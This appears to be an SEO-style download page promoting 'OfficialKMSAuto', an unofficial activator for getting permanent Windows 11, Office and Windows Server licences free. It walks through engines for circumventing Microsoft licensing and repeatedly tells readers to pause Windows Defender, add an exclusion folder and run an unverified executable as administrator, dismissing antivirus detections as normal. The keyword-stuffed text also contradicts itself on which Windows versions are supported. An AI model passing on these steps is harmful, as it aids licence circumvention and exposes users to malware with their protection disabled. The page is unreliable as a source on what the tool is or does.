如何免费激活 Activate Windows 11 Permanently 2026 — 分步指南

Overview

How to Activate Windows 11 Permanently for Free in 2026 — this is the most current 2026 walkthrough that still works after Microsoft's recent licensing tightening. Top Google how-to query — covers the HWID digital-license route that survives reinstalls and gives a permanent license bound to the motherboard. The OfficialKMSAuto build is free, portable, offline, signed by the original author and the archive ships without a password — you can scan it on VirusTotal before extracting if you want extra peace of mind.

Step-by-step

Six steps, under two minutes from download to activated.

• Download OfficialKMSAuto from this site — no password required on the ZIP
• Optional: scan the file on VirusTotal before extracting (link on the download page)
• Pause Windows Defender real-time protection for ~2 minutes
• Extract to C:\Tools\KMSAuto and run KMSAuto.exe as administrator
• Pick HWID for Windows, Ohook for Office, TSforge for Server/LTSC
• Wait for 'Successfully activated' and reboot

Pick the right engine

Different scenarios need different engines.

• HWID (digital license) — permanent for Windows 10 / 11 Home, Pro, Education, Pro for Workstations
• KMS38 — permanent (until 2038) for Windows 10 / 11 LTSC, Server, Education when HWID is blocked
• Online-KMS — 180-day renewable KMS for any volume edition without a local server
• Ohook — permanent for Office 2024 / 2021 / 2019 / 2016 LTSC and Microsoft 365 Apps
• TSforge — newest engine for Windows Server 2025 / 2022 / 2019 and CSVLK scenarios

Supported products

The 2026 build covers every modern Microsoft product still in support.

• Windows 11 24H2 / 25H2 (Home, Pro, Enterprise, Education, LTSC, IoT, ARM64)
• Windows 10 22H2 + LTSC 2021 / 2019
• Windows Server 2025 / 2022 / 2019 / 2016
• Office 2024 / 2021 / 2019 / 2016 LTSC + Retail
• Microsoft 365 Apps for Enterprise (Ohook patch)
• Project & Visio 2024 / 2021

Safety first — scan on VirusTotal

Every download page on this site shows the SHA-256 hash and a direct link to the VirusTotal report. If you want to be extra cautious you can re-upload the ZIP to virustotal.com yourself — that gives you a fresh multi-engine scan you control. Expect a small number of generic HackTool/KMS detections; that is normal for every activator and is not a real malware signature.

Why no password on the archive

Older Ratiborus releases used a password to protect the EXE from browser-side scanners. The 2026 OfficialKMSAuto build drops that requirement — you download, extract, and run. Easier for users, and you can still verify the SHA-256 or scan on VirusTotal before opening the EXE.

Troubleshooting

90% of activation failures come from Defender quarantining the EXE mid-run, a stale KMS cache (slmgr /upk + slmgr /rilc), or picking the wrong product edition. Extract to a Defender exclusion folder (C:\Tools\KMSAuto), run elevated, choose HWID for Windows, Ohook for Office, TSforge for Server. For 0xC004F074 / 0xC004C003 / 0x80070005 see our error-code index.

Activate Windows 11 Permanently System Requirements & Compatibility (2026)

Activate Windows 11 Permanently is engineered for the modern Microsoft activation stack. The tool runs on Windows 7 SP1, Windows 8.1, Windows 10 (all builds from 1507 to 22H2) and every Windows 11 release including 23H2 and 24H2. Both x64 and ARM64 hardware are supported, and the activator also recognises Server SKUs such as Server 2016, 2019 and 2022. On the Office side, Click-to-Run installations of Office 2013, 2016, 2019, 2021, 2024 and Microsoft 365 are detected automatically — including LTSC channels. You do not need to uninstall a previous KMS client or remove an existing product key: the script reads the current edition through slmgr and routes it to the correct activation method (HWID for Windows, Ohook for Office).

• Windows 7 SP1 / 8.1 / 10 / 11 — all editions (Home, Pro, Education, Enterprise, IoT, LTSC)
• Windows Server 2008 R2 through Server 2025
• Office 2010, 2013, 2016, 2019, 2021, 2024 and Microsoft 365 Apps
• Architectures: x86, x64, ARM64
• .NET Framework 4.6+ (preinstalled on Windows 8.1 and later)

Activate Windows 11 Permanently Troubleshooting: Common Errors & Fast Fixes

Most Activate Windows 11 Permanently failures fall into three buckets: antivirus interference, missing administrator rights, or a corrupted Software Protection Service. If you see error 0xC004F074 the KMS host could not be contacted — disable Defender real-time scanning for two minutes, then re-run the activator. Error 0xC004C003 means the product key is blocked by Microsoft; switch to the HWID method, which bypasses key validation entirely by binding the licence to your motherboard's hardware ID. Error 0x80070005 (Access Denied) is always a UAC issue — right-click the executable and select "Run as administrator". If activation succeeds but reverts after reboot, open services.msc, set "Software Protection" to Automatic, and restart sppsvc.exe. For Office, run the Office Click-to-Run repair from Settings → Apps → Microsoft 365 → Modify → Quick Repair before retrying Ohook.

• 0xC004F074 — pause antivirus, re-run as administrator
• 0xC004C003 — switch to HWID (no key required)
• 0x80070005 — UAC denied, use "Run as administrator"
• Activation reverts on reboot — set "Software Protection" service to Automatic
• Office not detected — run Quick Repair, then re-run Ohook
